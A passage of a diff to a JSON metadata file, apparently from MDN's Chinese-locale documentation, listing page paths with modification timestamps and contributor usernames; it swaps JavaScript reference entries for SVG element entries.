"jiereal", + "fanxiaojie" + ] + }, + "Web/SVG/Content_type": { + "modified": "2019-03-23T22:46:41.769Z", + "contributors": [ + "fanxiaojie" + ] + }, + "Web/SVG/Element": { + "modified": "2020-03-13T06:26:33.332Z", + "contributors": [ + "Dorence", + "RainSlide", + "fanxiaojie", + "lunix01", + "cungen", "teoli", - "ziyunfei", - "monthev" + "ethertank" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf": { - "modified": "2020-10-15T21:23:41.066Z", + "Web/SVG/Element/a": { + "modified": "2019-06-15T03:14:27.907Z", "contributors": [ - "zhuguibiao", - "fengma", - "xgqfrms-GitHub", - "kameii", - "inJs", - "xuzhijun", - "helm", + "lnh", + "sqchenxiyuan", + "Sebastianz", + "fanxiaojie", "teoli", - "ziyunfei" + "techird" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/toLocaleString": { - "modified": "2020-10-15T21:28:39.035Z", + "Web/SVG/Element/altGlyph": { + "modified": "2019-06-15T03:14:19.322Z", "contributors": [ - "ShirleyM", - "Humyang", - "zhangchen", - "AlexChao" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/toSource": { - "modified": "2020-10-15T21:21:01.572Z", + "Web/SVG/Element/altGlyphDef": { + "modified": "2019-03-23T22:46:38.701Z", "contributors": [ - "qiu_han", - "zhangchen", - "xgqfrms-GitHub", - "keller0", - "teoli", - "ziyunfei" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/toString": { - "modified": "2020-10-15T21:22:00.834Z", + "Web/SVG/Element/altGlyphItem": { + "modified": "2019-03-23T22:46:33.665Z", "contributors": [ - "RainSlide", - "jbbjs", - "johnlin0207", - "zhangchen", - "xgqfrms-GitHub", - "wizardforcel", - "Hugh", - "sabrinaluo", - "AlexChao", - "ziyunfei", - "ZhouMengkang", - "teoli" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/valueOf": { - "modified": "2020-10-15T21:19:19.149Z", + "Web/SVG/Element/animate": { + "modified": "2020-05-04T23:05:51.292Z", "contributors": [ - "microJ", - "ywjco", - "zhangchen", - "zilong-thu", - "jimwmg", + "knightyun", + "oujielong", "Ende93", - "helloguangxue", - "paddingme", - "teoli", - "ziyunfei" + "luojia", + "Sebastianz", + "fanxiaojie", + "329530588", + "lunix01" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/values": { - "modified": "2020-10-15T21:42:31.053Z", + "Web/SVG/Element/animateColor": { + "modified": "2019-03-23T22:46:35.027Z", "contributors": [ - "Bayes", - "RoXoM", - "ywjco", - "zhangchen", - "spiritree", - "percy507", - "maicss", "xgqfrms-GitHub", - "Hushabyme", - "webery" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise": { - "modified": "2020-11-09T05:18:40.533Z", + "Web/SVG/Element/animateMotion": { + "modified": "2020-10-15T21:39:29.124Z", "contributors": [ - "13126767772", - "Neo42", - "NickH", - "jackyKin", - "SandBoat", - "xgqfrms", - "woniuxingdong", - "ourai", - "w1687021088", - "xianghui-ma", - "42", - "SterileSummer", - "ZhechenLi", - "kyriejoshua", - "DHclly", - "Jiang-Xuan", - "filosfino", - "dandanbu3", - "suwu150", - "YISHI", - "Debugger-D", - "winjeysong", - "sjz2259696", - "NoroHime", - "SunApriloy", - "xutao", - "_da", - "wYhooo", - "tangHanSan", - "ThaddeusJiang", - "lindaxiao-hust", + "knightyun", + "wbamberg", + "Sebastianz", + "fanxiaojie" + ] + }, + "Web/SVG/Element/animateTransform": { + "modified": "2019-03-23T22:46:37.058Z", + "contributors": [ + "Sebastianz", + "fanxiaojie" + ] + }, + "Web/SVG/Element/circle": { + "modified": "2019-03-23T21:45:42.756Z", + "contributors": [ + "wbamberg", "xgqfrms-GitHub", - "HenryYong", - "Ende93", - "liujun121533", - "pot-code", - "lihx_hit", - "sensui7", - "udoless", - "dingxu", - "AnnAngela", - "excosy", - "billcz", - "Yidada", - "hipop", - "dear-lizhihua", - "xuanxiao2013", - "fskuok", - "mountainmoon", - "Fantasy_shao" + "Sebastianz", + "loofahsf", + "fanxiaojie", + "ziyunfei", + "cungen" + ] + }, + "Web/SVG/Element/clipPath": { + "modified": "2020-10-15T21:32:57.569Z", + "contributors": [ + "jhchen6", + "RainSlide", + "Sebastianz", + "fanxiaojie", + "huyue" + ] + }, + "Web/SVG/Element/color-profile": { + "modified": "2019-03-23T22:46:33.322Z", + "contributors": [ + "Sebastianz", + "fanxiaojie" + ] + }, + "Web/SVG/Element/cursor": { + "modified": "2020-10-15T21:39:22.908Z", + "contributors": [ + "knightyun", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/Promise": { - "modified": "2020-10-15T22:27:28.549Z", + "Web/SVG/Element/defs": { + "modified": "2019-03-23T23:05:33.636Z", "contributors": [ - "GYN" + "Sebastianz", + "fanxiaojie", + "charlie", + "baiya" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/all": { - "modified": "2020-12-13T19:21:55.259Z", + "Web/SVG/Element/desc": { + "modified": "2019-03-23T22:46:43.461Z", "contributors": [ - "hamishwillee", - "可能你对强有什么误解", - "xgqfrms", - "Debugger-D", - "moldray", - "kite-js", - "gemmi", - "Jiang-Xuan", - "BearZ", - "higrw", - "xgqfrms-GitHub", - "rollinhup", - "Hushabyme", - "iugo", - "billcz", - "zilong-thu", - "fskuok" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/allSettled": { - "modified": "2020-11-21T01:58:43.408Z", + "Web/SVG/Element/ellipse": { + "modified": "2019-03-23T22:54:08.203Z", "contributors": [ - "xgqfrms", - "wowoqu", - "mountainmoon", - "chrisdavidmills", - "zhangchen", - "bangbang93", - "RoXoM", - "youngboy", - "SphinxKnight", - "jiaqunying" + "wbamberg", + "Sebastianz", + "fanxiaojie", + "FredWe" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/any": { - "modified": "2020-10-27T03:51:15.177Z", + "Web/SVG/Element/feBlend": { + "modified": "2019-03-23T22:46:45.814Z", "contributors": [ - "SphinxKnight", - "mashuiquan", - "damengzhang", - "laampui", - "XLCYun", - "zhangchen", - "yinguangyao" + "liyongleihf2006", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/catch": { - "modified": "2020-10-15T21:31:34.215Z", + "Web/SVG/Element/feColorMatrix": { + "modified": "2019-03-23T23:25:05.534Z", "contributors": [ - "oldmtn", - "xycd", - "banli17", - "zhishaofei3", - "SheltonDong", - "Yevvb", - "HsuanLee", - "xgqfrms-GitHub", - "Hushabyme", - "fskuok", - "mountainmoon" + "Sebastianz", + "fanxiaojie", + "teoli", + "daniel.tian" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/finally": { - "modified": "2020-10-15T22:01:56.341Z", + "Web/SVG/Element/feComponentTransfer": { + "modified": "2019-03-23T22:46:30.620Z", "contributors": [ - "WangLeto", - "zhangchen", - "Pada", - "ZQ-jhon", - "sudoor", - "ziclee", - "zhengzongyi", - "hoshino111" + "liyongleihf2006", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/prototype": { - "modified": "2019-06-27T05:04:40.773Z", + "Web/SVG/Element/feComposite": { + "modified": "2019-03-23T22:46:29.887Z", "contributors": [ - "SphinxKnight", - "cyancity", - "Bryannnnnnn", - "HenryYong", - "mountainmoon" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/race": { - "modified": "2020-10-15T21:34:18.502Z", + "Web/SVG/Element/feConvolveMatrix": { + "modified": "2019-08-01T01:30:07.081Z", "contributors": [ - "Cuixote", - "lastnigtic", - "zhangchen", - "Jiang-Xuan", - "xgqfrms-GitHub", - "zhang-quan-yi", - "Hushabyme", - "fskuok" + "liyongleihf2006", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/reject": { - "modified": "2020-10-15T21:34:10.841Z", + "Web/SVG/Element/feDiffuseLighting": { + "modified": "2019-03-23T22:46:38.862Z", "contributors": [ - "zhangchen", - "ChauMing", - "Flcwl", - "SphinxKnight", - "fskuok" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/resolve": { - "modified": "2020-10-15T21:36:39.943Z", + "Web/SVG/Element/feDisplacementMap": { + "modified": "2019-03-23T22:46:34.138Z", "contributors": [ - "inlym", - "ly023", - "zhangchen", - "xiaoxiyao", - "rockedpanda", - "cyancity", - "Jiang-Xuan", - "fscholz", - "nineSean", - "purple_force", - "Zhangjd", - "ylc395" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Promise/then": { - "modified": "2020-10-15T21:31:32.284Z", + "Web/SVG/Element/feDistantLight": { + "modified": "2019-03-23T22:46:37.517Z", "contributors": [ - "BadmasterY", - "RainSlide", - "zrefrain", - "triboby", - "litbear", - "love999262", - "Jiang-Xuan", - "LiXin", - "WenWu92", - "Kylin.this", - "HsuanLee", - "xgqfrms-GitHub", - "Ende93", - "Hushabyme", - "RandyLoop", - "hipop", - "liuyiqian", - "fskuok", - "mountainmoon" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy": { - "modified": "2020-11-29T05:45:07.225Z", + "Web/SVG/Element/feFlood": { + "modified": "2019-03-23T22:46:31.627Z", + "contributors": [ + "Sebastianz", + "fanxiaojie" + ] + }, + "Web/SVG/Element/feFuncA": { + "modified": "2020-10-15T21:39:23.537Z", "contributors": [ - "saifeiLee", - "VicterSun", "RainSlide", - "Hilshire", - "liuguanyu", - "xgqfrms-GitHub", - "zhangchen", - "Lave", - "gaoupon", - "kdex", - "gaopeng", - "07akioni", - "wzx", - "Go7hic", - "WarriorWu", - "Katherina-Miao", - "ziyunfei", - "teoli" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy": { - "modified": "2020-10-15T22:33:06.804Z", + "Web/SVG/Element/feFuncB": { + "modified": "2019-03-23T22:46:38.185Z", "contributors": [ - "zhanghaoxu0128" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler": { - "modified": "2020-10-15T21:32:21.161Z", + "Web/SVG/Element/feFuncG": { + "modified": "2019-03-23T22:46:32.939Z", "contributors": [ - "stack_vim", - "RainSlide", - "wallena3", - "daxiazilong", - "Bayes", - "SphinxKnight", - "myl0204", - "ziyunfei" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply": { - "modified": "2020-10-15T21:46:28.417Z", + "Web/SVG/Element/feFuncR": { + "modified": "2019-03-23T22:46:31.912Z", "contributors": [ - "ngtmuzi", - "wtZZx" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct": { - "modified": "2020-10-15T21:56:26.489Z", + "Web/SVG/Element/feGaussianBlur": { + "modified": "2019-03-23T22:46:35.725Z", "contributors": [ - "dickenslian", - "DuLinRain" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/defineProperty": { - "modified": "2019-07-17T00:09:33.026Z", + "Web/SVG/Element/feImage": { + "modified": "2019-03-23T22:46:35.585Z", "contributors": [ - "accountwind", - "Illyrix" + "AaronYehf", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/deleteProperty": { - "modified": "2019-03-23T22:18:37.010Z", + "Web/SVG/Element/feMerge": { + "modified": "2019-03-23T22:46:36.019Z", "contributors": [ - "Illyrix" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/get": { - "modified": "2019-03-23T22:32:42.643Z", + "Web/SVG/Element/feMergeNode": { + "modified": "2019-03-23T22:46:29.748Z", "contributors": [ - "Shigma", - "ngtmuzi" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/getOwnPropertyDescriptor": { - "modified": "2019-07-28T23:51:58.213Z", + "Web/SVG/Element/feMorphology": { + "modified": "2019-03-23T22:51:21.184Z", "contributors": [ - "darkmirrors", - "EPSON-LEE", - "Hushabyme" + "Sebastianz", + "fanxiaojie", + "foolof41" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/getPrototypeOf": { - "modified": "2020-10-15T21:32:20.694Z", + "Web/SVG/Element/feOffset": { + "modified": "2019-03-23T22:46:37.362Z", "contributors": [ - "RainSlide", - "OStoneO", - "SphinxKnight", - "ziyunfei" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/has": { - "modified": "2019-08-25T22:51:33.932Z", + "Web/SVG/Element/fePointLight": { + "modified": "2019-03-23T22:46:33.171Z", "contributors": [ - "wonschangge", - "EPSON-LEE", - "Hearmen" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/isExtensible": { - "modified": "2020-10-15T21:59:04.944Z", + "Web/SVG/Element/feSpecularLighting": { + "modified": "2019-03-23T22:46:21.088Z", "contributors": [ - "wonschangge", - "cxftj" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/ownKeys": { - "modified": "2019-08-25T23:12:08.688Z", + "Web/SVG/Element/feSpotLight": { + "modified": "2019-03-23T22:46:30.010Z", "contributors": [ - "wonschangge", - "daiqingyun", - "DuLinRain" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/preventExtensions": { - "modified": "2020-10-15T21:59:08.645Z", + "Web/SVG/Element/feTile": { + "modified": "2019-03-23T22:46:20.383Z", "contributors": [ - "jinwanmian", - "wonschangge", - "zxh19890103", - "RoXoM", - "varcat" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/set": { - "modified": "2020-10-15T21:46:38.211Z", + "Web/SVG/Element/feTurbulence": { + "modified": "2019-03-23T22:46:22.298Z", "contributors": [ - "RainSlide", - "wonschangge", - "wtZZx", - "ngtmuzi" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/handler/setPrototypeOf": { - "modified": "2020-10-15T21:59:05.778Z", + "Web/SVG/Element/filter": { + "modified": "2020-07-14T05:46:35.376Z", "contributors": [ - "varcat" + "Yang_Gia", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Proxy/revocable": { - "modified": "2020-10-15T21:32:15.521Z", + "Web/SVG/Element/font": { + "modified": "2019-03-23T22:43:54.105Z", "contributors": [ - "RainSlide", - "SphinxKnight", - "ziyunfei" + "Sebastianz", + "fanxiaojie", + "charlie" ] }, - "Web/JavaScript/Reference/Global_Objects/RangeError": { - "modified": "2019-03-23T22:27:07.051Z", + "Web/SVG/Element/font-face": { + "modified": "2019-03-23T23:04:56.439Z", "contributors": [ - "wizardforcel", - "MurphyL", - "yatace" + "Sebastianz", + "charlie" ] }, - "Web/JavaScript/Reference/Global_Objects/RangeError/prototype": { - "modified": "2020-10-15T22:06:54.468Z", + "Web/SVG/Element/font-face-format": { + "modified": "2019-03-23T22:46:32.676Z", "contributors": [ - "pea3nut" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/ReferenceError": { - "modified": "2019-03-23T22:52:45.441Z", + "Web/SVG/Element/font-face-name": { + "modified": "2019-03-23T22:46:33.056Z", "contributors": [ - "funroller", - "Tienyz" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype": { - "modified": "2020-10-15T22:04:38.794Z", + "Web/SVG/Element/font-face-src": { + "modified": "2019-03-18T20:41:42.540Z", "contributors": [ - "Mal_akh" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect": { - "modified": "2020-10-15T21:38:03.417Z", + "Web/SVG/Element/font-face-uri": { + "modified": "2019-03-23T22:46:38.431Z", "contributors": [ - "tita0x00", - "LeonDWong", - "z1948296027", - "ZhangWei-KUMO", - "Akenokoru", - "Ende93", - "AlixWang", - "tanggd", - "Tommy-White", - "linzx1993", - "RoXoM", + "Sebastianz", + "fanxiaojie" + ] + }, + "Web/SVG/Element/foreignObject": { + "modified": "2020-10-15T21:39:29.342Z", + "contributors": [ + "hanjc1993", + "cnhekai", "zhangchen", - "xgqfrms-GitHub", - "mo-n", - "wzx", - "ziyunfei" + "kamilic", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/apply": { - "modified": "2020-10-15T21:46:16.764Z", + "Web/SVG/Element/g": { + "modified": "2019-03-23T22:55:45.907Z", "contributors": [ - "Ende93", - "IAIAE" + "Sebastianz", + "fanxiaojie", + "monjer" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/construct": { - "modified": "2020-07-16T14:15:43.959Z", + "Web/SVG/Element/glyph": { + "modified": "2019-03-23T22:55:52.238Z", "contributors": [ - "oxyg3n", - "caolvchong", - "xiaoxionganna", - "tornoda", - "sqqihao" + "Sebastianz", + "fanxiaojie", + "charlie" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty": { - "modified": "2020-10-15T21:51:24.597Z", + "Web/SVG/Element/glyphRef": { + "modified": "2019-03-23T22:46:32.815Z", "contributors": [ - "laampui", - "tornoda", - "charlesthink", - "Hushabyme" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty": { - "modified": "2019-07-05T03:12:53.100Z", + "Web/SVG/Element/hkern": { + "modified": "2019-03-23T22:46:35.411Z", "contributors": [ - "tornoda", - "Hushabyme" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/get": { - "modified": "2020-10-15T21:51:21.601Z", + "Web/SVG/Element/image": { + "modified": "2019-03-23T23:07:18.007Z", "contributors": [ - "stupidsongshu", - "tornoda", - "AozakiOrenji", - "Hushabyme", - "EpsilonYi" + "tjyas", + "Sebastianz", + "fanxiaojie", + "lrz8745", + "cuixiping" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/getOwnPropertyDescriptor": { - "modified": "2019-03-23T22:20:49.977Z", + "Web/SVG/Element/line": { + "modified": "2019-07-31T04:23:35.374Z", "contributors": [ - "RoXoM", - "Hushabyme" + "wbamberg", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/getPrototypeOf": { - "modified": "2020-10-15T21:51:25.998Z", + "Web/SVG/Element/linearGradient": { + "modified": "2019-07-01T05:50:18.527Z", "contributors": [ - "徐鹏跃", - "RoXoM", - "Hushabyme" + "Sebastianz", + "fanxiaojie", + "ziyunfei", + "xile611" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/has": { - "modified": "2019-03-18T21:00:09.070Z", + "Web/SVG/Element/marker": { + "modified": "2019-03-23T23:03:51.340Z", "contributors": [ - "sjpeter", - "IAIAE" + "wbamberg", + "liyongleihf2006", + "Sebastianz", + "fanxiaojie", + "fonglezen" + ] + }, + "Web/SVG/Element/mask": { + "modified": "2019-03-23T23:03:51.605Z", + "contributors": [ + "wbamberg", + "Sebastianz", + "fanxiaojie", + "fonglezen" + ] + }, + "Web/SVG/Element/metadata": { + "modified": "2019-03-23T22:46:43.887Z", + "contributors": [ + "Sebastianz", + "fanxiaojie" + ] + }, + "Web/SVG/Element/missing-glyph": { + "modified": "2019-03-23T23:04:57.001Z", + "contributors": [ + "Sebastianz", + "fanxiaojie", + "fonglezen", + "charlie" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/isExtensible": { - "modified": "2019-03-23T22:20:41.186Z", + "Web/SVG/Element/mpath": { + "modified": "2019-03-23T22:46:38.309Z", "contributors": [ - "cxftj", - "Hushabyme" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys": { - "modified": "2020-10-15T21:51:25.621Z", + "Web/SVG/Element/path": { + "modified": "2019-03-23T23:07:18.417Z", "contributors": [ - "zhangchen", - "liuy1994", - "Hushabyme" + "Sebastianz", + "fanxiaojie", + "cuixiping" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/preventExtensions": { - "modified": "2020-10-15T21:51:26.999Z", + "Web/SVG/Element/pattern": { + "modified": "2019-03-23T23:03:50.981Z", "contributors": [ - "Astroleander", - "RoXoM", - "Hushabyme" + "wbamberg", + "Sebastianz", + "fanxiaojie", + "fonglezen" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/set": { - "modified": "2020-10-15T21:51:25.331Z", + "Web/SVG/Element/polygon": { + "modified": "2019-03-23T23:13:30.746Z", "contributors": [ - "zero7u", - "AozakiOrenji", - "Hushabyme" + "wbamberg", + "Sebastianz", + "fanxiaojie", + "ziyunfei", + "fly-bird" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/setPrototypeOf": { - "modified": "2020-10-15T21:51:25.701Z", + "Web/SVG/Element/polyline": { + "modified": "2019-03-23T22:57:44.713Z", "contributors": [ - "徐鹏跃", - "Hushabyme" + "wbamberg", + "Sebastianz", + "fanxiaojie", + "e26h" ] }, - "Web/JavaScript/Reference/Global_Objects/Reflect/比较_Reflect_和_Object_方法": { - "modified": "2020-09-02T03:21:36.745Z", + "Web/SVG/Element/radialGradient": { + "modified": "2020-10-15T21:39:21.881Z", "contributors": [ - "tita0x00" + "realstephenzhao", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp": { - "modified": "2020-12-10T23:34:38.471Z", + "Web/SVG/Element/rect": { + "modified": "2019-03-23T22:57:44.926Z", "contributors": [ - "ruienger", - "jingkaimori", - "空杉心雨后", - "ll009366", - "Ende93", - "fanerge", - "daijie", "wbamberg", - "zhuangyin", - "YoungChen", - "myl0204", - "xgqfrms-GitHub", - "kiling", - "biaocy", - "fuchao2012", - "shuata", - "xgqfrms", - "KingMario", - "vbnjfhty", - "y8n", - "tabooc", - "jamesxu", - "teoli", - "AlexChao", - "chyee", - "Darrel.Hsu", - "photino", - "ziyunfei", - "fishenal", - "akawhy", - "shi_zheng", - "GreatHan", - "Hans huang", - "Mickeyboy" + "Sebastianz", + "fanxiaojie", + "e26h" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/@@match": { - "modified": "2020-10-15T21:49:08.862Z", + "Web/SVG/Element/script": { + "modified": "2019-03-23T22:46:33.996Z", "contributors": [ - "Ende93", - "wizardforcel", - "boatlet" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/@@matchAll": { - "modified": "2020-10-15T22:16:46.561Z", + "Web/SVG/Element/set": { + "modified": "2019-08-05T06:51:54.590Z", "contributors": [ - "c1er" + "Sebastianz", + "fanxiaojie", + "baiya" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/@@replace": { - "modified": "2020-10-15T21:54:34.957Z", + "Web/SVG/Element/stop": { + "modified": "2019-03-23T22:46:37.919Z", "contributors": [ - "javenl", - "LeoQuote", - "876843240", - "fanyer" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/@@search": { - "modified": "2019-03-23T22:11:28.976Z", + "Web/SVG/Element/style": { + "modified": "2019-03-23T22:46:35.874Z", "contributors": [ - "fanyer" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/@@species": { - "modified": "2019-03-23T22:18:27.389Z", + "Web/SVG/Element/svg": { + "modified": "2019-03-23T23:03:45.347Z", "contributors": [ - "wizardforcel" + "alphabet007", + "liyongleihf2006", + "Sebastianz", + "fanxiaojie", + "charlie", + "fonglezen" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/@@split": { - "modified": "2019-08-22T23:28:14.164Z", + "Web/SVG/Element/switch": { + "modified": "2019-03-23T23:03:50.332Z", "contributors": [ - "fangyulovechina", - "fanyer" + "Sebastianz", + "fanxiaojie", + "fonglezen" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/RegExp": { - "modified": "2020-10-15T22:33:53.145Z", + "Web/SVG/Element/symbol": { + "modified": "2019-03-23T23:05:34.325Z", "contributors": [ - "jingkaimori" + "Sebastianz", + "fanxiaojie", + "baiya" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/compile": { - "modified": "2019-03-23T22:22:52.399Z", + "Web/SVG/Element/text": { + "modified": "2019-03-23T23:05:43.568Z", "contributors": [ - "kameii" + "Sebastianz", + "jyy12", + "fanxiaojie", + "charlie", + "baiya" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/dotAll": { - "modified": "2020-10-15T22:16:46.676Z", + "Web/SVG/Element/textPath": { + "modified": "2019-03-23T23:05:43.375Z", "contributors": [ - "c1er" + "Sebastianz", + "fanxiaojie", + "baiya" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/exec": { - "modified": "2020-10-15T21:26:53.403Z", + "Web/SVG/Element/title": { + "modified": "2019-03-23T22:46:43.066Z", "contributors": [ - "CarrotB", - "dear-lizhihua", - "PageYe", - "righttoe", - "shiddong", - "ibufu", - "nandayaduo", - "Marco_dev", - "xgqfrms-GitHub", - "hangyangws", - "LiiiiittleRain", - "paddingme", - "baiya", - "teoli", - "AlexChao", - "ziyunfei", - "LinusYu" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/flags": { - "modified": "2019-07-04T23:57:57.114Z", + "Web/SVG/Element/tref": { + "modified": "2019-03-23T23:05:44.122Z", "contributors": [ - "wizardforcel" + "Sebastianz", + "fanxiaojie", + "baiya" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/global": { - "modified": "2019-07-04T23:58:07.262Z", + "Web/SVG/Element/tspan": { + "modified": "2019-03-23T23:29:30.380Z", "contributors": [ + "wbamberg", + "Sebastianz", + "fanxiaojie", "teoli", - "AlexChao" + "flyonok" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase": { - "modified": "2019-07-04T23:54:43.220Z", + "Web/SVG/Element/use": { + "modified": "2019-03-23T22:46:45.349Z", "contributors": [ - "teoli", - "AlexChao" + "Sebastianz", + "ObooChin", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/input": { - "modified": "2019-04-16T05:59:34.644Z", + "Web/SVG/Element/view": { + "modified": "2019-06-15T03:14:56.821Z", "contributors": [ - "gh1031", - "teoli", - "wizardforcel" + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex": { - "modified": "2019-07-04T23:55:43.642Z", + "Web/SVG/Element/vkern": { + "modified": "2020-10-15T21:39:26.145Z", "contributors": [ - "teoli", - "AlexChao", - "ziyunfei", - "Wjsl" + "RainSlide", + "Sebastianz", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch": { - "modified": "2019-03-23T22:18:26.965Z", + "Web/SVG/Linking": { + "modified": "2019-11-28T05:35:16.253Z", "contributors": [ - "teoli", - "wizardforcel" + "tangguolong" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/lastParen": { - "modified": "2019-03-23T22:18:27.095Z", + "Web/SVG/Namespaces_Crash_Course": { + "modified": "2019-10-11T20:02:55.677Z", "contributors": [ - "teoli", - "wizardforcel" + "pacexy", + "cyemeng", + "876843240", + "RongMine", + "Ljrou", + "charlie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/leftContext": { - "modified": "2019-03-23T22:18:24.587Z", + "Web/SVG/SVG_1.1_Support_in_Firefox": { + "modified": "2019-03-23T22:52:10.546Z", "contributors": [ - "teoli", - "wizardforcel" + "Kylexii", + "sunxiang", + "ziyunfei", + "lunix01" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/multiline": { - "modified": "2019-07-04T23:59:21.859Z", + "Web/SVG/SVG_animation_with_SMIL": { + "modified": "2019-03-23T22:46:05.864Z", "contributors": [ - "teoli", - "AlexChao" + "WindStormrage", + "fscholz", + "Jackandjohn", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/n": { - "modified": "2019-07-12T00:53:55.955Z", + "Web/SVG/SVG_as_an_Image": { + "modified": "2019-03-23T22:46:05.004Z", "contributors": [ - "teoli", - "fengma", - "xgqfrms-GitHub", - "AlixWang" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/prototype": { - "modified": "2019-07-08T23:50:51.861Z", + "Web/SVG/Tutorial": { + "modified": "2019-08-15T22:27:47.736Z", "contributors": [ + "AngelName", + "Pehfan", + "simongfxu", + "xgqfrms", + "fanxiaojie", + "charlie", "teoli", - "AlexChao", - "ziyunfei" + "ziyunfei", + "Dx.Yang" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/rightContext": { - "modified": "2019-03-23T22:18:24.457Z", + "Web/SVG/Tutorial/Basic_Shapes": { + "modified": "2020-05-17T23:40:20.747Z", "contributors": [ - "teoli", - "wizardforcel" + "nyz123", + "0229xiang", + "851091009", + "VicYu", + "fanxiaojie", + "zldream1106", + "act262" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/source": { - "modified": "2019-07-04T23:56:46.237Z", + "Web/SVG/Tutorial/Basic_Transformations": { + "modified": "2019-03-23T22:46:26.560Z", "contributors": [ - 